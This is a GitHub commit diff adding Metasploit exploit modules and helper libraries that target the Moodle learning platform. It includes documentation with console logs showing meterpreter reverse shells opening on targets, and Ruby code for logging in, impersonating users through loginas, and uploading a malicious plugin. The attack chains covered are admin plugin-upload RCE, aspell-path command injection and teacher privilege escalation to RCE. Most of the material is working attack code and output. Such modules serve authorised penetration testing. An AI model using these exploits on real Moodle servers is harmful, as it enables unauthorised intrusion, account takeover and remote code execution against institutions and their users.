Land #15612, Add multiple moodle modules

This commit is contained in:
dwelch-r7
2021-10-11 23:18:55 +01:00
committed by GitHub
17 changed files with 1718 additions and 156 deletions
@@ -0,0 +1,232 @@
## Vulnerable Application
This module will generate a plugin which can receive a malicious
payload request and upload it to a server running Moodle
provided valid admin credentials are used. Then the payload
is sent for execution, and the plugin uninstalled.
You must have an admin account to exploit this vulnerability.
Successfully tested against 3.6.3, 3.8.0, 3.9.0, 3.10.0, 3.11.2
## Verification Steps
1. Install moodle
1. Start msfconsole
1. Do: `use exploits/multi/http/moodle_admin_shell_upload`
1. Do: `set username [username]`
1. Do: `set password [password]`
1. Do: `run`
1. You should get a shell.
## Options
### Username
Username for an admin user. Default is `admin`
### Password
Password for an admin user
## Scenarios
### Moodle 3.8.0 on Ubuntu 20.04
```
resource (moodle_upload.rb)> use exploits/multi/http/moodle_admin_shell_upload
[*] Using configured payload php/meterpreter/reverse_tcp
resource (moodle_upload.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (moodle_upload.rb)> set username admin
username => admin
resource (moodle_upload.rb)> set password Adminadmin1!
password => Adminadmin1!
resource (moodle_upload.rb)> set targeturi /moodle-3.8.0/
targeturi => /moodle-3.8.0/
resource (moodle_upload.rb)> set payload payload/php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
resource (moodle_upload.rb)> set lhost eth0
lhost => eth0
resource (moodle_upload.rb)> exploit
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Exploitable Moodle version 3.8 detected
[*] Authenticating as user: admin
[+] Authentication was successful with user: admin
[*] Creating addon file
[*] Creating plugin named: oganetpo with poisoned header: YLYF
[*] Uploading addon
[+] Upload Successful. Integrating addon
[*] Triggering payload
[*] Sending stage (39282 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56312) at 2021-09-02 17:05:39 -0400
[*] Uninstalling plugin
meterpreter > sysinfo
Computer : moodle
OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data (33)
```
### Moodle 3.6.3 on Ubuntu 20.04
```
resource (moodle_upload.rb)> use exploits/multi/http/moodle_admin_shell_upload
[*] Using configured payload php/meterpreter/reverse_tcp
resource (moodle_upload.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (moodle_upload.rb)> set username admin
username => admin
resource (moodle_upload.rb)> set password Adminadmin1!
password => Adminadmin1!
resource (moodle_upload.rb)> set targeturi /moodle-3.6.3/
targeturi => /moodle-3.6.3/
resource (moodle_upload.rb)> set payload payload/php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
resource (moodle_upload.rb)> set lhost eth0
lhost => eth0
resource (moodle_upload.rb)> exploit
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Exploitable Moodle version 3.6.3 detected
[*] Authenticating as user: admin
[+] Authentication was successful with user: admin
[*] Creating addon file
[*] Creating plugin named: vnckinyr with poisoned header: BMDI
[*] Uploading addon
[+] Upload Successful. Integrating addon
[*] Triggering payload
[*] Sending stage (39282 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56316) at 2021-09-02 17:09:41 -0400
[*] Uninstalling plugin
meterpreter > sysinfo
Computer : moodle
OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data (33)
```
### Moodle 3.9.0 on Ubuntu 20.04
```
resource (moodle_upload.rb)> use exploits/multi/http/moodle_admin_shell_upload
[*] Using configured payload php/meterpreter/reverse_tcp
resource (moodle_upload.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (moodle_upload.rb)> set username admin
username => admin
resource (moodle_upload.rb)> set password Adminadmin1!
password => Adminadmin1!
resource (moodle_upload.rb)> set targeturi /moodle-3.9.0/
targeturi => /moodle-3.9.0/
resource (moodle_upload.rb)> set payload payload/php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
resource (moodle_upload.rb)> set lhost eth0
lhost => eth0
resource (moodle_upload.rb)> exploit
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Exploitable Moodle version 3.9 detected
[*] Authenticating as user: admin
[+] Authentication was successful with user: admin
[*] Creating addon file
[*] Creating plugin named: taztsyap with poisoned header: ARHW
[*] Uploading addon
[+] Upload Successful. Integrating addon
[*] Triggering payload
[*] Sending stage (39282 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56318) at 2021-09-02 17:11:20 -0400
[*] Uninstalling plugin
meterpreter > sysinfo
Computer : moodle
OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data (33)
```
### Moodle 3.10.0 on Ubuntu 20.04
```
resource (moodle_upload.rb)> use exploits/multi/http/moodle_admin_shell_upload
[*] Using configured payload php/meterpreter/reverse_tcp
resource (moodle_upload.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (moodle_upload.rb)> set username admin
username => admin
resource (moodle_upload.rb)> set password Adminadmin1!
password => Adminadmin1!
resource (moodle_upload.rb)> set targeturi /moodle-3.10.0/
targeturi => /moodle-3.10.0/
resource (moodle_upload.rb)> set payload payload/php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
resource (moodle_upload.rb)> set lhost eth0
lhost => eth0
resource (moodle_upload.rb)> exploit
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Exploitable Moodle version 3.10 detected
[*] Authenticating as user: admin
[+] Authentication was successful with user: admin
[*] Creating addon file
[*] Creating plugin named: yciymtns with poisoned header: YBIT
[*] Uploading addon
[+] Upload Successful. Integrating addon
[*] Triggering payload
[*] Sending stage (39282 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56320) at 2021-09-02 17:16:52 -0400
[*] Uninstalling plugin
meterpreter > sysinfo
Computer : moodle
OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data (33)
```
### Moodle 3.11.2 on Ubuntu 20.04
```
resource (moodle_upload.rb)> use exploits/multi/http/moodle_admin_shell_upload
[*] Using configured payload php/meterpreter/reverse_tcp
resource (moodle_upload.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (moodle_upload.rb)> set username admin
username => admin
resource (moodle_upload.rb)> set password Adminadmin1!
password => Adminadmin1!
resource (moodle_upload.rb)> set targeturi /moodle-3.11.2/
targeturi => /moodle-3.11.2/
resource (moodle_upload.rb)> set payload payload/php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
resource (moodle_upload.rb)> set lhost eth0
lhost => eth0
resource (moodle_upload.rb)> exploit
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Exploitable Moodle version 3.11.2 detected
[*] Authenticating as user: admin
[+] Authentication was successful with user: admin
[*] Creating addon file
[*] Creating plugin named: fwjdzsuj with poisoned header: ZLCW
[*] Uploading addon
[+] Upload Successful. Integrating addon
[*] Triggering payload
[*] Sending stage (39282 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56326) at 2021-09-02 17:27:06 -0400
[*] Uninstalling plugin
meterpreter > sysinfo
Computer : moodle
OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data (33)
```
@@ -0,0 +1,118 @@
## Vulnerable Application
Moodle allows an authenticated administrator to define spellcheck settings via the web interface.
An administrator can update the aspell path to include a command injection. This is extremely
similar to CVE-2013-3630, just using a different variable.
This module was tested against Moodle version 3.11.2, 3.10.0, and 3.8.0. Based on the
Talos advisory: `2021-04-21 - Vendor updated documentation to suggest best practices after installation`,
it is unclear if Moodle will patch this. Therefore it is unclear what the upper bounds
is on exploitation.
### Install
Moodle provides a step by step guide to install their software
[here](https://docs.moodle.org/311/en/Step-by-step_Installation_Guide_for_Ubuntu)
## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use exploits/multi/http/moodle_spelling_path_rce`
1. Do: `set username [username]`
1. Do: `set password [password]`
1. Do: `run`
1. You should get a shell.
## Options
### Passowrd
Password of an administrator.
### Username
Username of an administrator. Defaults to `admin`
## Scenarios
### Moodle 3.10.0 on Ubuntu 20.04
```
[*] Processing moodle_spellcheck.rb for ERB directives.
resource (moodle_spellcheck.rb)> use exploits/multi/http/moodle_spelling_path_rce
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
resource (moodle_spellcheck.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (moodle_spellcheck.rb)> set username admin
username => admin
resource (moodle_spellcheck.rb)> set password Adminadmin1!
password => Adminadmin1!
resource (moodle_spellcheck.rb)> set targeturi /moodle-3.10.0/
targeturi => /moodle-3.10.0/
resource (moodle_spellcheck.rb)> set payload payload/php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
resource (moodle_spellcheck.rb)> set proxies http:127.0.0.1:8080
proxies => http:127.0.0.1:8080
resource (moodle_spellcheck.rb)> set ReverseAllowProxy true
ReverseAllowProxy => true
resource (moodle_spellcheck.rb)> set lhost eth0
lhost => eth0
resource (moodle_spellcheck.rb)> exploit
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Exploitable Moodle version 3.10 detected
[*] Authenticating as user: admin
[*] Updating aspell path
[*] Changing spell engine to PSpellShell
[*] Triggering payload
[*] Sending stage (39282 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56124) at 2021-08-29 10:03:37 -0400
[*] Sleeping 5 seconds before cleanup
[*] Authenticating as user: admin
[*] Removing RCE from settings
meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer : moodle
OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64
Meterpreter : php/linux
```
### Moodle 3.11.2 on Ubuntu 20.04
```
resource (moodle_spellcheck.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (moodle_spellcheck.rb)> set username admin
username => admin
resource (moodle_spellcheck.rb)> set password Adminadmin1!
password => Adminadmin1!
resource (moodle_spellcheck.rb)> set targeturi /moodle-3.11.2/
targeturi => /moodle-3.11.2/
resource (moodle_spellcheck.rb)> set payload payload/php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
resource (moodle_spellcheck.rb)> set lhost eth0
lhost => eth0
resource (moodle_spellcheck.rb)> exploit
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Exploitable Moodle version 3.11.2 detected
[*] Authenticating as user: admin
[*] Updating aspell path
[*] Changing spell engine to PSpellShell
[*] Triggering payload
[*] Sending stage (39282 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56130) at 2021-08-29 10:22:03 -0400
[*] Sleeping 5 seconds before cleanup
[*] Authenticating as user: admin
[*] Removing RCE from settings
meterpreter > sysinfo
Computer : moodle
OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data (33)
```
@@ -0,0 +1,119 @@
## Vulnerable Application
Moodle version 3.9, 3.8 to 3.8.3, 3.7 to 3.7.6, 3.5 to 3.5.12 and earlier unsupported versions
allow for a teacher to exploit chain to RCE. A bug in the privileges system allows a teacher
to add themselves as a manager to their own class. They can then add any other users, and thus
look to add someone with manager privileges on the system (not just the class). After
adding a system manager, a 'loginas' feature is used to access their account. Next the system
is reconfigured to allow for all users to install an addon/plugin. Then a malicious theme
is uploaded and creates an RCE.
If all of that is a success, we revert permissions for managers to system default and
remove our malicoius theme. Manual cleanup to remove students from the class is required.
This module was tested against Moodle version 3.9
### Install
Moodle provides a step by step guide to install their software. However you'll want to use
`3.9.0` isntead of `3.11.0`.
[here](https://docs.moodle.org/311/en/Step-by-step_Installation_Guide_for_Ubuntu)
## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use exploits/multi/http/moodle_teacher_enrollment_priv_esc_to_rce`
1. Do: `set username [username]`
1. Do: `set password [password]`
1. Do: `run`
1. You should get a shell.
## Options
### MAXUSERS
The amount of users to add to the class in hopes of finding a manager. Defaults to `100`.
### Passowrd
Password of a teacher.
### Username
Username of a teacher.
## Scenarios
### Moodle 3.9.0 on Ubuntu 20.04
```
resource (moodle_privesc.rb)> use exploit/multi/http/moodle_teacher_enrollment_priv_esc_to_rce
[*] Using configured payload php/meterpreter/reverse_tcp
resource (moodle_privesc.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (moodle_privesc.rb)> set targeturi /moodle-3.9.0/
targeturi => /moodle-3.9.0/
resource (moodle_privesc.rb)> set username teacher
username => teacher
resource (moodle_privesc.rb)> set password Teacherteacher1!
password => Teacherteacher1!
resource (moodle_privesc.rb)> set lhost eth0
lhost => eth0
resource (moodle_privesc.rb)> set MAXUSERS 10
MAXUSERS => 10
resource (moodle_privesc.rb)> run
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Exploitable Moodle version 3.9 detected
[*] Authenticating as user: teacher
[*] Retrieving user info
[+] User ID: 4
[+] Course ID: 2
[+] Sessionkey: R1lSAKDT73
[*] Retrieving course enrollment id
[+] Enrol ID: 1
[*] Attempting to enrolin in class as manager (priv esc)
[+] Successfully enrolled
[*] Attempting to find and add a manager to class
[*] Attempting user: 2
[+] Successfully enrolled
[*] Attempting user: 3
[+] Successfully enrolled
[*] Attempting user: 4
[+] Successfully enrolled
[*] Attempting user: 5
[+] Successfully enrolled
[*] Attempting user: 6
[-] Unsuccessful
[*] Attempting user: 7
[-] Unsuccessful
[*] Attempting user: 8
[-] Unsuccessful
[*] Attempting user: 9
[-] Unsuccessful
[*] Retrieving course context id
[+] Context ID: 28
[+] Found manager user IDs: ["5", "4"]
[*] Attempting loginas for user id: 5
[*] Logged in as: manager manager
[+] Looks like a potentially good manager account!
[*] Attempting via new session key: gUocfkXDpe
[*] Checking if permissions were set successfully
[+] Manager roll full permissioned, attempting to upload shell
[*] Creating plugin named: mbdzduot with poisoned header: PIYB
[*] Uploading addon
[+] Upload Successful. Integrating addon
[*] Triggering payload
[*] Sending stage (39282 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56418) at 2021-09-04 13:21:51 -0400
[*] Uninstalling plugin
[*] Resetting permissions
meterpreter > sysinfo
Computer : moodle
OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data (33)
```
@@ -0,0 +1,37 @@
# -*- coding: binary -*-
module Msf
class Exploit
class Remote
module HTTP
# This module provides a way of interacting with moodle installations
module Moodle
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Moodle::Base
include Msf::Exploit::Remote::HTTP::Moodle::Version
include Msf::Exploit::Remote::HTTP::Moodle::URIs
include Msf::Exploit::Remote::HTTP::Moodle::Helpers
include Msf::Exploit::Remote::HTTP::Moodle::Login
include Msf::Exploit::Remote::HTTP::Moodle::Course
include Msf::Exploit::Remote::HTTP::Moodle::Admin
def initialize(info = {})
super
register_options(
[
Msf::OptString.new('TARGETURI', [true, 'The base path to the moodle application', '/'])
], Msf::Exploit::Remote::HTTP::Moodle
)
register_advanced_options(
[
Msf::OptBool.new('MOODLECHECK', [true, 'Check if the website is a valid Moodle install', true]),
], Msf::Exploit::Remote::HTTP::Moodle
)
end
end
end
end
end
end
@@ -0,0 +1,151 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Moodle::Admin
# Retrieves variables required for uploading an addon
#
# @return [String] session key
# @return [String] item id
# @return [String] author name
# @return [String] client id
def get_addon_variables
res = send_request_cgi!(
'keep_cookies' => true,
'uri' => moodle_admin_addon_install
)
sesskey = res.body.split('"sesskey":"')[1].split('"')[0] # fetch session info
item_id = res.body.split('amp;itemid=')[1].split('&')[0] # fetch item for upload
author = res.body.split('title="View profile">')[1].split('<')[0] # fetch admin account profile info
client_id = res.body.split('client_id":"')[1].split('"')[0] # fetch client info
return sesskey, item_id, author, client_id
end
# Uploads an addon to Moodle
#
# @param addon_name [String] Name of addon to be uploaded
# @param moodle_version [Rex::Version] Version of the moodle instance, as a Rex::Version
# @param addon_content [ZipArchive] Zip of the addon content
# @return [String,nil] file ID of the uploaded zip file, nil on failure
# @return [String,nil] Session key, nil on failure
def upload_addon(addon_name, moodle_version, addon_content)
sesskey, item_id, author, client_id = get_addon_variables
# creating multipart data for the upload addon file
pdata = Rex::MIME::Message.new
pdata.add_part(addon_content, 'application/zip', nil, "form-data; name=\"repo_upload_file\"; filename=\"#{addon_name}.zip\"")
pdata.add_part('', nil, nil, 'form-data; name="title"')
pdata.add_part(author, nil, nil, 'form-data; name="author"')
pdata.add_part('allrightsreserved', nil, nil, 'form-data; name="license"')
pdata.add_part(item_id, nil, nil, 'form-data; name="itemid"')
pdata.add_part('.zip', nil, nil, 'form-data; name="accepted_types[]"')
if moodle_version < Rex::Version.new('3.9.0')
pdata.add_part('4', nil, nil, 'form-data; name="repo_id"')
else
pdata.add_part('5', nil, nil, 'form-data; name="repo_id"')
end
pdata.add_part('', nil, nil, 'form-data; name="p"')
pdata.add_part('', nil, nil, 'form-data; name="page"')
pdata.add_part('filepicker', nil, nil, 'form-data; name="env"')
pdata.add_part(sesskey, nil, nil, 'form-data; name="sesskey"')
pdata.add_part(client_id, nil, nil, 'form-data; name="client_id"')
pdata.add_part('-1', nil, nil, 'form-data; name="maxbytes"')
pdata.add_part('-1', nil, nil, 'form-data; name="areamaxbytes"')
pdata.add_part('1', nil, nil, 'form-data; name="ctx_id"')
pdata.add_part('/', nil, nil, 'form-data; name="savepath"')
res = send_request_cgi!({
'method' => 'POST',
'data' => pdata.to_s,
'ctype' => "multipart/form-data; boundary=#{pdata.bound}",
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'repository', 'repository_ajax.php'),
'vars_get' => {
'action' => 'upload'
}
})
unless res.body =~ /draftfile.php/
return nil, nil
end
file_id = res.body.split('draft\/')[1].split('\/')[0]
return file_id, sesskey
end
# Uninstalls an addon from Moodle
#
# @param addon_name [String] Name of addon to be uploaded
# @param moodle_version [Rex::Version] Version of the moodle instance, as a Rex::Version
# @param sesskey [String] session key
# @return [HttpResponse] HttpResponse object
def remove_plugin(addon_name, moodle_version, sesskey)
if moodle_version < Rex::Version.new('3.9.0')
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
'keep_cookies' => true,
'vars_post' => {
'cache' => '0',
'confirmplugincheck' => '0',
'abortinstallx' => '1',
'confirmabortinstall' => '1',
'sesskey' => sesskey
}
})
else
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
'keep_cookies' => true,
'vars_post' => {
'cache' => '0',
'confirmrelease' => '1',
'confirmplugincheck' => '0',
'abortinstallx' => addon_name,
'confirmabortinstall' => '1',
'sesskey' => sesskey
}
})
end
end
# Integrates an addon to Moodle
#
# @param sesskey [String] session key
# @param file_id [String] ID of the file to integrate
# @param plugin_name [String] name of the plugin file
# @param type [String] The type of addon being added. Defaults to 'theme'
# @return [HttpResponse,nil] HttpResponse object, nil on failure
def plugin_integration(sesskey, file_id, plugin_name, type = 'theme')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'),
'keep_cookies' => true,
'vars_post' => {
'sesskey' => sesskey,
'_qf__tool_installaddon_installfromzip_form' => '1',
'mform_showmore_id_general' => '0',
'mform_isexpanded_id_general' => '1',
'zipfile' => file_id,
'plugintype' => type,
'rootdir' => '',
'submitbutton' => 'Install+plugin+from+the+ZIP+file'
}
)
return nil unless res.body =~ /installzipstorage/
storage = res.body.split('installzipstorage=')[1].split('&')[0]
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'),
'keep_cookies' => true,
'vars_post' => {
'installzipcomponent' => "#{type}_#{plugin_name}",
'installzipstorage' => storage,
'installzipconfirm' => '1',
'sesskey' => sesskey
}
)
end
end
@@ -0,0 +1,29 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Moodle::Base
# Checks if the site is online and running moodle
#
# @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running moodle, nil otherwise
def moodle_and_online?
unless datastore['MOODLECHECK']
vprint_status 'Skipping Moodle check...'
return true
end
moodle_detect_regexes = [
/"moodle":{"name":"moodle",/i,
]
res = send_request_cgi!({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
}, 20, 10) # a cache inconsistency may result in 7 redirects
return res if res && res.code == 200 && res.body && moodle_detect_regexes.any? { |r| res.body =~ r }
return nil
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
print_error("Error connecting to #{target_uri}: #{e}")
return nil
end
end
@@ -0,0 +1,61 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Moodle::Course
# performs a moodle course enrollment
#
# @param user_id [String] ID of the user to enrol
# @param course_id [String] ID of the course to enrol in
# @param enrol_id [String] ID of the enrolment
# @param sess_key [String] session key
# @param role [String] role to enrol as. 1 is manager, 5 is student
# @return [Boolean] if the enrolment was successful or not
def enrol(user_id, course_id, enrol_id, sess_key, role = '1')
res = send_request_cgi({
'uri' => moodle_enrol_ajax,
'vars_get' => moodle_helper_enrol_get_data(user_id, course_id, enrol_id, sess_key, role),
'keep_cookies' => true
})
return false unless res
if res.body.include?('success')
return true
end
return false
end
# obtains the enrolid from an enrolled course
#
# @param course_id [String] ID of the course
# @return [String,nil] the enrolid for the course, nil otherwise
def get_course_enrol_id(course_id)
res = send_request_cgi({
'uri' => moodle_user_home,
'vars_get' => {
'id' => course_id
},
'keep_cookies' => true
})
return nil unless res
res.body =~ /name="enrolid" value="(.*?)"/
Regexp.last_match(1)
end
# obtains the contextid from an enrolled course
#
# @param course_id [String] ID of the course
# @return [String,nil] the contextid for the course, nil otherwise
def get_course_context_id(course_id)
res = send_request_cgi({
'uri' => moodle_user_home,
'vars_get' => {
'id' => course_id
},
'keep_cookies' => true
})
return nil unless res
res.body =~ /contextid=(\d*)"/
Regexp.last_match(1)
end
end
@@ -0,0 +1,63 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Moodle::Helpers
# Helper methods are private and should not be called by modules
private
# Returns the POST data for a Moodle login request
#
# @param user [String] Username
# @param pass [String] Password
# @param token [String] login token
# @return [Hash] The post data for vars_post Parameter
def moodle_helper_login_post_data(user, pass, token)
post_data = {
'username' => user.to_s,
'password' => pass.to_s,
'logintoken' => token.to_s,
'anchor' => ''
}
post_data
end
# Returns the GET data for a Moodle loginas request
#
# @param course_id [String] ID of the course the user is registered in
# @param user_id [String] User ID of the user to impersonate
# @param session_key [String] session key for the current session
# @return [Hash] The get data for vars_get Parameter
def moodle_helper_loginas_get_data(course_id, user_id, session_key)
get_data = {
'id' => course_id,
'user' => user_id,
'sesskey' => session_key
}
get_data
end
# Returns the GET data for a Moodle Course Enrollment request
#
# @param user_id [String] ID of the user to enrol
# @param course_id [String] ID of the course to enrol in
# @param enrol_id [String] ID of the enrolment
# @param sess_key [String] session key
# @param role [String] Optional value of the role. 1 is default and manager, 5 is student
# @return [Hash] The get data for vars_get Parameter
def moodle_helper_enrol_get_data(user_id, course_id, enrol_id, sess_key, role = '1')
get_data = {
'mform_showmore_main' => '0',
'id' => course_id,
'action' => 'enrol',
'enrolid' => enrol_id,
'sesskey' => sess_key,
'_qf__enrol_manual_enrol_users_form' => '1',
'mform_showmore_id_main' => '0',
'userlist[]' => user_id,
'roletoassign' => role,
'startdate' => '4',
'duration' => ''
}
get_data
end
end
@@ -0,0 +1,63 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Moodle::Login
# performs a moodle login
#
# @param user [String] Username
# @param pass [String] Password
# @param timeout [Integer] The maximum number of seconds to wait before the request times out
# @return [HttpCookie,nil] the session cookies as a single string on successful login, nil otherwise
def moodle_login(user, pass, timeout = 20)
res = send_request_cgi({
'uri' => moodle_url_login,
'keep_cookies' => true
}, timeout)
return nil unless res
res.body =~ /name="logintoken" value="([^"]+)">/
res = send_request_cgi!({
'method' => 'POST',
'uri' => moodle_url_login,
'vars_post' => moodle_helper_login_post_data(user, pass, Regexp.last_match(1)),
'keep_cookies' => true
}, timeout, 20) # typical redirect is 3-5, but it may do more if caching gets messed up on server
if !res || (res.code != 200) || !res.body.include?('<title>Dashboard</title>')
return nil
end
cookies = cookie_jar.cookies
cookie_jar.clear
store_valid_credential(user: user, private: pass)
return cookies
end
# performs a loginas moodle account impersonation
#
# @param course_id [String] ID of the course the user is registered in
# @param user_id [String] User ID of the user to impersonate
# @param session_key [String] session key for the current session
# @return [HttpResponse,nil] the HttpResponse object on successful impersonation, nil otherwise
def moodle_loginas(course_id, user_id, session_key, timeout = 20)
res = send_request_cgi({
'uri' => moodle_url_loginas,
'vars_get' => moodle_helper_loginas_get_data(course_id, user_id, session_key),
'keep_cookies' => true
}, timeout)
return nil unless res
# click the 'continue' button
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'course', 'view.php'),
'vars_get' =>
{
'id' => course_id
},
'keep_cookies' => true
})
return nil unless res
res
end
end
@@ -0,0 +1,45 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Moodle::URIs
# Returns the Moodle Login URL
#
# @return [String] Moodle Login URL
def moodle_url_login
normalize_uri(target_uri.path, 'login', 'index.php')
end
# Returns the Moodle Loginas URL
#
# @return [String] Moodle Login URL
def moodle_url_loginas
normalize_uri(target_uri.path, 'course', 'loginas.php')
end
# Returns the Moodle AJAX Course Enrollment URL
#
# @return [String] Moodle AJAX course enrolment URL
def moodle_enrol_ajax
normalize_uri(target_uri.path, 'enrol', 'manual', 'ajax.php')
end
# Returns the Moodle Ajax Service URL
#
# @return [String] Moodle Ajax Service URL
def moodle_ajax_service
normalize_uri(target_uri.path, 'lib', 'ajax', 'service.php')
end
# Returns the Moodle User Home URL
#
# @return [String] Moodle User Home URL
def moodle_user_home
normalize_uri(target_uri.path, 'user', 'index.php')
end
# Returns the Moodle Admin Addon Installation URL
#
# @return [String] Moodle admin addon installation URL
def moodle_admin_addon_install
normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php')
end
end
@@ -0,0 +1,30 @@
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Moodle::Version
# Used to check if the version is correct: must contain at least one dot
MOODLE_VERSION_PATTERN = '(\d+\.\d+(?:\.\d+)*)'
# Extracts the Moodle version information from various sources
#
# @return [String,nil] moodle version if found, nil otherwise
def moodle_version
# detect version from /lib/upgrade.txt
version = moodle_version_helper(normalize_uri(target_uri.path, 'lib', 'upgrade.txt'), /=== #{MOODLE_VERSION_PATTERN} ===/i)
return version if version
nil
end
def moodle_version_helper(url, regex)
res = send_request_cgi!({
'method' => 'GET',
'uri' => url
}, 3.5)
if res
match = res.body.match(regex)
return match[1] if match
end
nil
end
end
@@ -0,0 +1,140 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Moodle
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Moodle Admin Shell Upload',
'Description' => %q{
This module will generate a plugin which can receive a malicious
payload request and upload it to a server running Moodle
provided valid admin credentials are used. Then the payload
is sent for execution, and the plugin uninstalled.
You must have an admin account to exploit this vulnerability.
Successfully tested against 3.6.3, 3.8.0, 3.9.0, 3.10.0, 3.11.2
},
'License' => MSF_LICENSE,
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
'h00die' # msf module cleanup and inclusion
],
'References' => [
['URL', 'http://pentest.com.tr/exploits/Moodle-3-6-3-Install-Plugin-Remote-Command-Execution.html'],
['EDB', '46775'],
['CVE', '2019-11631'] # rejected, its a feature!
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Automatic', {}]],
'Privileged' => false,
'DisclosureDate' => '2019-04-28',
'DefaultTarget' => 0,
'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp' },
'Payload' => {
'BadChars' => "'",
'Space' => 6070 # apache default is 8196, but 35% overhead for base64 encoding
},
'Notes' => {
